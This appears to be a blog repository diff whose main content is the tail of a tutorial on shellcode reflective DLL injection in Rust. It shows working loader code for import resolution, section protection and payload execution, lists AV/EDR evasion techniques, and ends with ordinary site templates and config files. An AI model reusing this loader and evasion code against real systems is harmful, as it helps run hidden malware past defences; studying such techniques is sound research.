let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 {
return 0;
}
// ...
}
```
Next, the we must resolve the addresses of the imported functions, essentially patching the Import Address Table (IAT). This involves utilizing the `OriginalFirstThunk`, the Relative Virtual Address (RVA) of the Import Lookup Table (ILT), which points to an array of `IMAGE_THUNK_DATA64` structures. These structures contain information about the imported functions, either as names or ordinal numbers. The `FirstThunk`, in contrast, represents the IAT's RVA, where resolved addresses are updated. Thunks here serve as vital intermediaries, ensuring the correct linking of function calls within the payload.
In processing these `IMAGE_THUNK_DATA64` structures, we need to distinguish between named and ordinal imports. For ordinal imports, the function address is retrieved via `GetProcAddress` using the ordinal number. For named imports, the function's name is obtained from `IMAGE_IMPORT_BY_NAME`, referenced in the `AddressOfData` field of `IMAGE_THUNK_DATA64`, and its address is resolved likewise.
Once obtained, the function address is written back into the corresponding `FirstThunk` entry, effectively redirecting the payload's function calls to the appropriate addresses:
```rust
while (*import_descriptor_ptr).Name != 0x0 {
// ...
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
!= 0
{
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
)
} else {
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
)
};
let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
);
while (*original_thunk_ptr).u1.Function != 0 {
let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
// check if the import is by name or by ordinal
if is_snap_res {
// mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} else {
// get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize
+ (*original_thunk_ptr).u1.AddressOfData as usize)
as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
}
thunk_ptr = thunk_ptr.add(1);
original_thunk_ptr = original_thunk_ptr.add(1);
}
import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
}
```
### Protecting the relocated sections
To ensure the seamless integration and correct functioning of the payload within the target process, setting appropriate memory protections for each relocated section is essential.
This process begins by accessing the Section Header (`IMAGE_SECTION_HEADER`) via the `OptionalHeader` in the NT Header. Once located, we iterate through the payload's sections, gathering essential details such as each section's reference, its RVA, and the size of the data. The necessary modifications to memory protections are determined based on the `Characteristics` field of each section, guiding us to apply the correct security attributes. After that the new protections are applied using `VirtualProtect`, tailored to the specifics of each section:
```rust
#[link_section = ".text"]
unsafe fn finalize_relocations(
base_addr_ptr: *mut c_void,
module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
far_procs: &FarProcs,
) {
// RVA of the first IMAGE_SECTION_HEADER in the PE file
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
(*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
);
for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
let mut protection = 0;
let mut old_protection = 0;
let section_header_ptr = &*(section_header_ptr).add(i as usize);
let dst_ptr = base_addr_ptr
.cast::<u8>()
.add(section_header_ptr.VirtualAddress as usize);
let section_raw_size = section_header_ptr.SizeOfRawData as usize;
let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
if !is_executable && !is_readable && !is_writable {
protection = PAGE_NOACCESS;
}
if is_writable {
protection = PAGE_WRITECOPY;
}
if is_readable {
protection = PAGE_READONLY;
}
if is_writable && is_readable {
protection = PAGE_READWRITE;
}
if is_executable {
protection = PAGE_EXECUTE;
}
if is_executable && is_writable {
protection = PAGE_EXECUTE_WRITECOPY;
}
if is_executable && is_readable {
protection = PAGE_EXECUTE_READ;
}
if is_executable && is_writable && is_readable {
protection = PAGE_EXECUTE_READWRITE;
}
// apply the new protection to the current section
(far_procs.VirtualProtect)(
dst_ptr as _,
section_raw_size,
protection,
&mut old_protection,
);
}
}
```
An important final step for each section is to call `FlushInstructionCache` to ensure the CPU sees the changes made to the memory:
```rust
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
```
### Executing the payload
Finally, with the payload meticulously mapped into the memory, we are set to execute it.
The executed function (as well as the shuffle and sleep switches) depends on the value of the flag stored into the payload during shellcode generation:
```rust
const DELAY_FLAG: u32 = 0b0001;
const SHUFFLE_FLAG: u32 = 0b0010;
const UFN_FLAG: u32 = 0b0100;
const HASH_KEY: usize = 5381;
pub struct Flags {
pub delay: bool,
pub shuffle: bool,
pub ufn: bool,
}
```
If the `ufn` is true, we'll run user-defined function from within the payload. Otherwise we'll stick to calling the payload's `DllMain` with `DLL_PROCESS_ATTACH`:
```rust
if flags.ufn {
// UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
#[allow(non_snake_case)]
let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
// execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len);
} else {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
}
```
## Media
<p align="center">
<img src="/images/understanding-srdi/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" />
</p>
<p align="center">
<img src="/images/understanding-srdi/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" />
</p>
## Obfuscation and detection evasion techniques
As hinted in the previous sections, the loader utilizes a few trivial obfuscation techniques:
- Hashed import names & indirect WinAPI function calls
- Shuffled and delayed IDT iteration during IAT patching
- XOR encrypted payload shellcode
- Unique key generated during shellcode generation
If we take a look at the whole [repository](https://github.com/17ms/airborne), we can identify the PoC injector (utilizing plain `CreateRemoteThread`) as quite apparent weak link in the chain. Projects like [BypassAV by matro7sh](https://github.com/matro7sh/BypassAV) display a variety of a lot better techniques, if one is interested in improving in that area:
<a href="https://github.com/matro7sh/BypassAV" target="_blank" style="text-decoration: none;">
<p align="center">
<img src="/images/understanding-srdi/bypass-av.png" alt="Map of essentail AV/EDR bypass methods"/>
</p>
</a>
## References
- ["An Improved Reflective DLL Injection Technique" by Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html)
- [The implementation of the loader](https://github.com/dismantl/ImprovedReflectiveDLLInjection)
- [sRDI implementation in C by Nick Landers](https://github.com/monoxgas/sRDI/)
- [sRDI implementation in Rust by memN0ps](https://github.com/memN0ps/srdi-rs/)
- ["Reflective DLL Injection in C++" by Brendan Ortiz](https://depthsecurity.com/blog/reflective-dll-injection-in-c)
- [Thorough walkthrough of the PE file format by 0xRick](https://0xrick.github.io/categories/#win-internals)
- [FisherYates shuffle pseudo code implementation](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle)
- ["A tale of EDR bypass methods" by s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/)
- [Essential AV/EDR bypass methods mapped out by matro7sh](https://matro7sh.github.io/BypassAV/)
- [MSDN Win32 API documentation](https://learn.microsoft.com/en-us/windows/win32/)

View File

@ -0,0 +1,59 @@
<!doctype html>
<html lang="{{ with .Site.LanguageCode }}{{ . }}{{ else }}en-US{{ end }}">
<head>
<meta
http-equiv="onion-location"
content="http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion"
/>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- Icons are handled separately in custom_head.html -->
<!-- {{- partial "favicon.html" . -}} -->
<!-- prettier-ignore -->
<title>{{- block "title" . }}{{ with .Title }}{{ . }} | {{ end }}{{ .Site.Title }}{{- end }}</title>
{{- partial "seo_tags.html" . -}}
<meta name="referrer" content="no-referrer-when-downgrade" />
<!-- Included cache busting (fingerprinting) to the imported resources (css & cfg files) -->
{{ $style := resources.Get "style.css" | minify | fingerprint }}
<link href="{{ $style.RelPermalink }}" rel="stylesheet" />
{{ if (.Page.Store.Get "hasCodeBlock") }}
{{ $syntax := resources.Get "syntax.css" | minify | fingerprint }}
<link href="{{ $syntax.RelPermalink }}" rel="stylesheet" />
{{ end }}
{{ with .Params.style }}
{{ $extra := resources.Get . | minify | fingerprint }}
<link href="{{ $extra.RelPermalink }}" rel="stylesheet" />
{{ end }}
{{ with .OutputFormats.Get "rss" -}}
{{ printf `<link rel="%s" type="%s" href="%s" title="%s" />` .Rel .MediaType.Type .Permalink $.Site.Title | safeHTML }}
{{ end -}}
<!-- A partial to be overwritten by the user.
Simply place a custom_head.html into
your local /layouts/partials-directory -->
{{- partial "custom_head.html" . -}}
</head>
<body>
<header>
{{- partial "header.html" . -}}
</header>
<main id="main-content">
{{- block "main" . }}{{- end }}
</main>
<footer>
{{- partial "footer.html" . -}}
</footer>
<!-- A partial to be overwritten by the user.
Simply place a custom_body.html into
your local /layouts/partials-directory -->
{{- partial "custom_body.html" . -}}
</body>
</html>

View File

@ -0,0 +1,36 @@
{{ define "main" }}
<content>
{{ if .Data.Singular }}
<h3 class="blog-filter">{{ i18n "filtering-for" }} "{{ .Title }}"</h3>
{{ end }}
<ul class="blog-posts">
{{ range .Pages }}
<li>
<span>
<i>
<time datetime='{{ .Date.Format "2006-01-02" }}' pubdate>
{{ .Date.Format (default "2006-01-02" .Site.Params.dateFormat) }}
</time>
</i>
</span>
{{ if .Params.link }}
<a href="{{ .Params.link }}" target="_blank">{{ .Title }} ↪</a>
{{ else }}
<a href="{{ .RelPermalink }}">{{ .Title }}</a>
{{ end }}
</li>
{{ else }}
<li>
{{ i18n "no-posts" }}
</li>
{{ end }}
</ul>
{{ if not .Data.Singular }}
<div>
{{ range .Site.Taxonomies.tags }}
<a class="blog-tags" href="{{ .Page.RelPermalink }}">#{{ .Page.Title }}</a>&nbsp;&nbsp;
{{ end }}
</div>
{{ end }}
</content>
{{ end }}

View File

@ -0,0 +1,26 @@
{{ define "main" }}
{{ if not .Params.menu }}
<h1>{{ .Title }}</h1>
<p class="byline">
<time datetime='{{ .Date.Format "2006-01-02" }}' pubdate>
{{ .Date.Format (default "2006-01-02" .Site.Params.dateFormat) }}
</time>
{{ with .Params.author }}· {{.}}{{ end }}
</p>
{{ end }}
<content>
{{ .Content }}
</content>
<p>
{{ range (.GetTerms "tags") }}
<a class="blog-tags" href="{{ .RelPermalink }}">#{{ .LinkTitle }}</a>&nbsp;&nbsp;
{{ end }}
</p>
{{ with .Site.Social.email }}
<p>
<a href='mailto:{{ . }}?subject={{ i18n "email-subject" }}"{{ default $.Site.Title $.Page.Title }}"'>
{{ i18n "email-reply" }} ↪
</a>
</p>
{{ end }}
{{ end }}

View File

@ -0,0 +1,28 @@
<!-- Icons -->
<link rel="icon" href="/images/favicon.ico?v=2" />
<link
rel="apple-touch-icon"
sizes="180x180"
href="/images/apple-touch-icon.png?v=2"
/>
<link
rel="icon"
type="image/png"
sizes="32x32"
href="/images/favicon-32x32.png?v=2"
/>
<link
rel="icon"
type="image/png"
sizes="16x16"
href="/images/favicon-16x16.png?v=2"
/>
<link rel="manifest" href="manifest.json?v=2" />
<link
rel="mask-icon"
href="/images/safari-pinned-tab.svg?v=2"
color="#242424"
/>
<meta name="msapplication-TileColor" content="#2b5797" />
<meta name="msapplication-TileImage" content="/images/mstile-150x150.png?v=2" />
<meta name="theme-color" content="#242424" />

View File

@ -0,0 +1,6 @@
<small>
© {{ dateFormat "2006" now }} {{ .Site.Copyright }} /
<a href="http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion"
>.onion</a
>
</small>

View File

@ -0,0 +1,20 @@
<a class="skip-link" href="#main-content">{{ i18n "skip-link" }}</a>
<div class="header-container">
<a href="{{ relURL .Site.Home.Permalink }}" class="title">
<h1>{{ .Site.Title }}</h1>
</a>
<div class="social-container">
{{- range site.Params.socialIcons -}}
<a
href="{{ trim .url " " | safeURL }}"
target="_blank"
rel="noopener noreferrer me"
title="{{ .display | default (title .name) }}"
>
{{ partial "svg.html" . }}
</a>
{{- end -}}
</div>
</div>
<nav>{{- partial "nav.html" . -}}</nav>

22
layouts/partials/nav.html Normal file
View File

@ -0,0 +1,22 @@
{{ range .Site.Menus.main.ByWeight }}
<a href="{{ .URL }}">{{ .Name }}</a>
{{ end }}
<a href='{{ relURL "index.xml" }}'>RSS</a>
<!-- Convert this page's translations into a dict -->
{{ $translations := dict }}
{{ range .Translations }}
{{ $translations = merge $translations (dict .Language.Lang .) }}
{{ end }}
<!-- Create a link to every translation -->
{{ range where .Site.Languages "Lang" "!=" .Page.Lang }}
{{ with (index $translations .Lang) }}
<a href="{{ .Permalink }}">{{ .Language.LanguageName }}</a>
{{ else }}
<!-- The complicated setup was necessary to make a grayed out link -->
{{ if not .Params.hideUntranslated }}
<a class="disabled" role="link" aria-disabled="true">{{ .LanguageName }}</a>
{{ end }}
{{ end }}
{{ end }}

351
layouts/partials/svg.html Normal file

File diff suppressed because one or more lines are too long

52
package-lock.json generated Normal file
View File

@ -0,0 +1,52 @@
{
"name": "golfed.xyz",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"devDependencies": {
"prettier": "^3.0.3",
"prettier-plugin-go-template": "^0.0.15"
}
},
"node_modules/prettier": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.3.tgz",
"integrity": "sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==",
"dev": true,
"bin": {
"prettier": "bin/prettier.cjs"
},
"engines": {
"node": ">=14"
},
"funding": {
"url": "https://github.com/prettier/prettier?sponsor=1"
}
},
"node_modules/prettier-plugin-go-template": {
"version": "0.0.15",
"resolved": "https://registry.npmjs.org/prettier-plugin-go-template/-/prettier-plugin-go-template-0.0.15.tgz",
"integrity": "sha512-WqU92E1NokWYNZ9mLE6ijoRg6LtIGdLMePt2C7UBDjXeDH9okcRI3zRqtnWR4s5AloiqyvZ66jNBAa9tmRY5EQ==",
"dev": true,
"dependencies": {
"ulid": "^2.3.0"
},
"engines": {
"node": ">=14.0.0"
},
"peerDependencies": {
"prettier": "^3.0.0"
}
},
"node_modules/ulid": {
"version": "2.3.0",
"resolved": "https://registry.npmjs.org/ulid/-/ulid-2.3.0.tgz",
"integrity": "sha512-keqHubrlpvT6G2wH0OEfSW4mquYRcbe/J8NMmveoQOjUqmo+hXtO+ORCpWhdbZ7k72UtY61BL7haGxW6enBnjw==",
"dev": true,
"bin": {
"ulid": "bin/cli.js"
}
}
}
}

6
package.json Normal file
View File

@ -0,0 +1,6 @@
{
"devDependencies": {
"prettier": "^3.0.3",
"prettier-plugin-go-template": "^0.0.15"
}
}

9
static/browserconfig.xml Normal file
View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
<msapplication>
<tile>
<square150x150logo src="/mstile-150x150.png"/>
<TileColor>#2b5797</TileColor>
</tile>
</msapplication>
</browserconfig>

18
static/contact.txt Normal file
View File

@ -0,0 +1,18 @@
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Onion: golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion
PGP: 1530F5132A1228578D2B4168995EFD5C1B532B3E
Email: hello@golfed.xyz
XMPP: shiherlis@xmpp.is
Telegram: shrlis
Updated: 04/08/2024
-----BEGIN PGP SIGNATURE-----
iHUEARYKAB0WIQQVMPUTKhIoV40rQWiZXv1cG1MrPgUCZq+NhQAKCRCZXv1cG1Mr
PicwAP4jU39miEPajVXmv0NyIpa537CHWOrKy8JykJK+ecLUMwD/RqryeCwDUtDl
VK//zbIomZx+fKtSWwCjlOpZbYayTgA=
=d4UQ
-----END PGP SIGNATURE-----

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 986 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

BIN
static/images/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

View File

@ -0,0 +1,189 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="700.000000pt" height="700.000000pt" viewBox="0 0 700.000000 700.000000"
preserveAspectRatio="xMidYMid meet">
<metadata>
Created by potrace 1.14, written by Peter Selinger 2001-2017
</metadata>
<g transform="translate(0.000000,700.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3278 6996 c-1 -2 -37 -6 -78 -9 -119 -10 -261 -30 -365 -51 -141
-29 -197 -43 -295 -71 -225 -65 -499 -175 -680 -273 -129 -70 -150 -82 -217
-124 -316 -197 -641 -488 -877 -783 -427 -535 -686 -1173 -753 -1860 -10 -102
-10 -568 0 -660 93 -854 449 -1591 1052 -2175 79 -77 125 -119 225 -204 62
-53 279 -208 352 -251 144 -86 204 -119 320 -177 75 -37 139 -68 142 -68 4 0
25 -9 49 -19 108 -48 321 -119 468 -156 57 -14 120 -30 139 -35 19 -5 51 -12
70 -15 19 -3 60 -10 90 -15 89 -15 162 -24 285 -36 154 -15 582 -8 695 10 14
3 45 7 70 10 49 7 200 32 240 40 14 3 39 8 55 12 64 12 324 88 413 120 372
135 704 321 1010 567 131 105 377 343 474 457 305 361 543 793 677 1226 34
109 95 361 107 439 5 28 9 52 9 55 2 5 15 105 21 155 14 120 19 206 19 385 0
186 -10 391 -20 423 -2 6 -6 35 -9 62 -25 232 -111 556 -218 825 -340 856
-1027 1560 -1873 1917 -345 146 -603 212 -1040 268 -50 7 -550 16 -557 11z
m698 -210 c67 -7 234 -41 338 -67 95 -24 276 -85 288 -97 4 -4 -52 -9 -125
-10 -72 -1 -157 -4 -187 -7 -52 -4 -57 -3 -135 49 -44 29 -119 72 -167 94 -49
23 -88 44 -88 47 0 2 6 3 13 0 6 -2 35 -6 63 -9z m-992 -90 c-27 -23 -92 -82
-144 -132 l-95 -92 -55 2 c-69 2 -217 -15 -305 -34 -58 -13 -57 -14 -52 28 7
64 30 123 51 137 22 15 206 65 321 89 96 19 252 41 304 42 22 0 19 -5 -25 -40z
m566 10 c124 -26 238 -62 328 -103 95 -43 95 -43 -46 -79 -151 -39 -325 -98
-474 -161 l-108 -45 -102 51 c-57 28 -118 54 -135 57 -18 4 -33 12 -33 19 0
27 219 193 335 254 72 37 87 38 235 7z m-1400 -241 c-4 -25 -8 -48 -8 -50 -1
-3 -2 -16 -2 -30 0 -14 -5 -25 -11 -25 -26 0 -232 -110 -330 -176 l-108 -73
-66 29 c-36 16 -65 31 -65 34 0 8 119 90 220 152 107 64 362 194 371 188 3 -2
3 -24 -1 -49z m2530 -40 c129 -8 319 -44 367 -69 23 -12 106 -90 163 -152 105
-116 201 -276 264 -441 20 -51 36 -94 36 -97 0 -6 -20 1 -185 59 -125 44 -466
137 -556 150 -24 4 -51 8 -58 9 -20 4 -25 15 -61 125 -46 141 -120 279 -209
391 l-20 25 22 6 c23 5 93 4 237 -6z m-432 -80 c73 -77 132 -162 178 -255 32
-66 64 -146 64 -164 0 -4 -24 -6 -52 -2 -70 7 -168 16 -248 21 -64 5 -439 5
-594 2 l-79 -2 -27 67 c-15 37 -44 90 -64 118 l-36 51 67 30 c140 63 416 146
588 178 33 6 69 12 80 15 53 10 64 5 123 -59z m-1658 -61 c0 -3 -24 -40 -53
-82 -67 -98 -157 -241 -157 -250 -1 -12 -39 -57 -41 -47 -5 40 -8 87 -14 202
l-7 132 43 12 c96 26 229 45 229 33z m294 -8 c43 -8 156 -47 156 -55 0 -3 -46
-33 -102 -66 -57 -32 -160 -96 -230 -142 -71 -45 -128 -80 -128 -77 0 9 109
174 158 239 63 84 92 114 106 110 6 -3 24 -7 40 -9z m-739 -206 c3 -52 8 -111
10 -130 3 -19 7 -58 9 -87 l5 -51 -127 89 c-70 50 -138 98 -151 107 l-24 18
64 41 c61 40 201 115 205 110 1 -1 5 -45 9 -97z m3514 -48 c85 -73 248 -233
306 -302 51 -60 155 -220 196 -302 41 -82 82 -178 75 -178 -2 0 -53 35 -113
78 -103 74 -236 156 -352 218 l-54 29 -23 92 c-31 124 -92 277 -159 398 -30
54 -55 101 -55 103 0 7 96 -66 179 -136z m-2434 70 c37 -26 114 -156 101 -169
-5 -5 -75 -17 -231 -39 -64 -9 -288 -54 -317 -64 -85 -28 42 61 282 197 155
89 150 86 165 75z m-1743 -88 c26 -9 51 -20 54 -26 3 -5 -9 -26 -29 -46 -54
-57 -147 -182 -172 -232 -31 -61 -37 -65 -130 -89 -68 -18 -193 -59 -259 -86
-19 -8 -19 -8 0 24 40 69 194 251 307 364 132 131 118 126 229 91z m380 -206
c76 -50 136 -93 134 -96 -3 -2 -61 -5 -130 -7 -144 -4 -308 -15 -318 -22 -21
-12 -4 25 29 66 47 57 134 151 141 151 3 0 68 -41 144 -92z m2458 -41 c19 -3
67 -8 105 -12 99 -9 105 -11 106 -48 4 -119 -5 -299 -15 -316 -2 -3 -7 -22
-10 -41 -17 -104 -80 -295 -94 -287 -4 3 -27 14 -52 25 -25 11 -85 39 -135 62
-194 90 -487 205 -664 262 -36 12 -67 22 -68 23 -1 0 6 30 17 66 11 35 20 66
19 69 0 3 3 29 7 58 3 29 8 67 9 85 2 17 3 37 4 44 1 6 16 14 34 16 46 6 695
0 737 -6z m-957 -72 c-2 -27 -8 -72 -15 -100 -7 -27 -13 -52 -13 -55 -5 -28
-19 -51 -29 -47 -29 11 -379 97 -456 112 -98 19 -123 25 -118 31 7 6 291 66
378 80 19 3 46 7 60 10 14 2 48 7 75 10 28 4 52 8 55 11 2 2 18 3 35 1 29 -3
30 -4 28 -53z m1592 -37 c174 -43 345 -98 499 -162 90 -38 100 -45 104 -71 8
-49 7 -314 -2 -390 -20 -187 -120 -551 -154 -563 -6 -2 -45 22 -87 53 -65 49
-364 243 -433 283 -13 7 -76 43 -140 79 -64 36 -127 72 -139 79 l-21 13 19 52
c31 82 76 248 89 329 7 41 14 84 16 95 2 11 5 73 6 138 l1 118 41 -7 c23 -3
113 -24 201 -46z m-3105 -137 c-1 -3 -54 -32 -119 -64 -65 -31 -171 -88 -237
-126 -103 -60 -119 -66 -122 -50 -5 27 35 181 51 196 14 14 133 31 272 40 55
3 101 6 102 7 6 5 53 3 53 -3z m827 -66 c148 -24 489 -103 541 -125 23 -10 23
-10 -20 -71 -48 -68 -132 -168 -157 -186 -18 -12 -2 -25 -251 207 -63 59 -135
126 -160 149 -45 42 -45 42 -15 37 17 -3 45 -8 62 -11z m-1477 -92 c-6 -38
-12 -103 -14 -146 -1 -43 -7 -82 -12 -86 -5 -5 -52 -42 -105 -83 -140 -106
-200 -159 -331 -290 -102 -102 -121 -116 -120 -88 0 16 13 149 16 171 7 50 46
188 77 275 40 111 63 134 211 208 102 51 278 119 287 111 1 -2 -2 -34 -9 -72z
m1384 -137 c49 -44 103 -94 120 -109 75 -69 176 -170 176 -177 0 -19 -274
-179 -307 -180 -9 0 -90 307 -107 410 -2 14 -11 56 -20 93 -9 38 -16 75 -16
84 0 17 19 3 154 -121z m3361 8 c97 -64 216 -159 308 -245 66 -61 69 -67 77
-124 8 -61 6 -424 -3 -460 -3 -11 -8 -40 -11 -65 -10 -71 -15 -98 -41 -205
-22 -95 -87 -301 -106 -337 -7 -14 -40 14 -181 156 -186 185 -218 215 -346
321 -67 54 -83 72 -79 89 3 12 30 92 60 179 31 86 54 157 52 157 -2 0 4 26 12
58 42 160 56 287 62 560 l1 34 58 -32 c31 -18 93 -56 137 -86z m-4075 92 c0
-3 -6 -11 -12 -18 -7 -7 -44 -49 -83 -93 -38 -44 -72 -82 -76 -85 -3 -3 -45
-54 -93 -115 -119 -150 -115 -145 -124 -145 -10 0 -68 96 -83 138 -6 18 -9 38
-6 45 6 15 211 139 367 220 117 62 110 59 110 53z m400 -98 c6 -29 14 -64 16
-78 3 -14 21 -89 39 -167 67 -275 68 -285 54 -293 -11 -7 -53 -17 -163 -36
-11 -2 -50 -6 -88 -9 -78 -6 -76 -11 -48 90 43 158 62 219 111 361 28 82 53
157 56 167 8 26 10 22 23 -35z m1271 3 c176 -61 213 -75 369 -139 161 -66 410
-179 423 -192 30 -29 -220 -383 -399 -565 -115 -117 -108 -114 -145 -74 -17
19 -57 61 -88 95 -31 33 -103 112 -161 174 -58 62 -166 176 -240 253 -74 77
-135 143 -135 147 0 4 23 34 51 66 79 90 97 113 153 197 28 42 53 77 55 77 1
0 54 -18 117 -39z m-1546 -154 c-29 -89 -67 -220 -86 -290 -38 -145 -34 -141
-135 -107 -81 28 -144 58 -144 70 0 12 143 192 234 295 71 81 178 195 181 195
2 0 -21 -73 -50 -163z m-730 -206 c20 -38 52 -87 71 -109 19 -22 34 -45 34
-51 0 -5 -33 -61 -74 -123 -105 -162 -196 -326 -301 -541 l-92 -189 -37 44
c-104 120 -199 310 -221 436 -7 41 -5 45 50 112 81 99 292 305 415 404 58 47
108 86 112 86 4 0 23 -31 43 -69z m-820 -95 c-10 -49 -12 -275 -4 -314 6 -28
1 -41 -28 -85 -20 -29 -67 -104 -105 -167 -68 -112 -70 -114 -64 -70 3 25 8
56 11 70 3 14 7 34 9 45 30 148 97 361 158 508 24 55 31 60 23 13z m2698 -88
c114 -118 309 -324 345 -365 9 -11 53 -60 97 -108 44 -48 83 -93 88 -101 7
-13 0 -19 -155 -132 -172 -125 -606 -349 -629 -325 -4 5 -30 80 -57 168 -28
88 -62 196 -76 240 -25 81 -128 438 -139 485 -6 24 0 29 102 79 59 29 150 82
202 117 52 35 96 63 99 64 2 0 58 -55 123 -122z m1555 18 c176 -101 428 -263
564 -363 l68 -49 -31 -59 c-96 -185 -230 -383 -388 -570 -91 -108 -314 -335
-329 -335 -6 0 -66 68 -134 152 -167 206 -397 481 -465 557 -18 20 -32 41 -30
48 1 7 40 52 87 100 184 189 310 354 426 556 21 37 41 67 45 67 3 0 87 -47
187 -104z m1902 -161 c69 -124 127 -276 144 -380 9 -57 12 -147 11 -263 -3
-174 -6 -213 -25 -322 -23 -129 -28 -152 -61 -265 -54 -185 -61 -198 -86 -152
-114 203 -224 377 -275 433 -18 21 -18 22 26 135 75 192 142 438 160 584 2 22
7 58 11 80 7 45 13 133 14 215 1 68 10 61 81 -65z m-5008 16 c67 -31 125 -52
196 -71 48 -12 46 -4 27 -100 -15 -78 -28 -149 -31 -175 -2 -16 -8 -52 -14
-80 -10 -56 -17 -103 -26 -173 -3 -26 -7 -58 -9 -72 -7 -48 -14 -106 -21 -180
-4 -41 -8 -86 -9 -100 -2 -14 -3 -47 -4 -74 l-1 -48 -47 6 c-152 22 -368 97
-503 176 -99 58 -102 62 -84 108 87 215 420 812 454 812 5 0 37 -13 72 -29z
m907 -252 c56 -195 91 -311 179 -592 22 -70 36 -129 32 -132 -12 -7 -230 -62
-275 -69 -22 -4 -47 -9 -55 -11 -83 -26 -507 -42 -504 -20 1 6 5 53 9 105 3
52 8 109 10 125 2 17 7 57 11 90 3 33 7 67 9 75 1 8 6 42 9 75 13 106 81 493
89 501 1 1 48 5 104 9 56 4 150 17 210 29 59 12 109 21 110 21 2 -1 29 -93 62
-206z m-1983 -166 c61 -150 145 -282 246 -389 l70 -73 -15 -48 c-8 -26 -35
-114 -60 -195 -26 -80 -48 -157 -51 -170 -2 -12 -9 -41 -15 -63 -14 -53 -48
-228 -56 -290 -4 -28 -9 -52 -12 -55 -3 -3 -27 20 -55 50 -139 155 -266 408
-309 618 -12 56 -11 71 5 135 24 94 91 260 148 367 54 101 82 150 86 150 2 0
10 -17 18 -37z m5070 -55 c103 -86 405 -383 461 -454 l32 -41 -41 -79 c-161
-312 -374 -599 -665 -894 l-162 -165 -29 40 c-15 22 -71 101 -122 175 -52 74
-98 140 -102 145 -5 6 -66 89 -138 186 l-129 175 143 145 c251 254 444 502
573 738 50 92 62 111 72 111 4 0 52 -37 107 -82z m-1699 -213 c168 -196 266
-314 403 -485 68 -85 130 -162 137 -171 13 -15 5 -24 -69 -82 -266 -207 -604
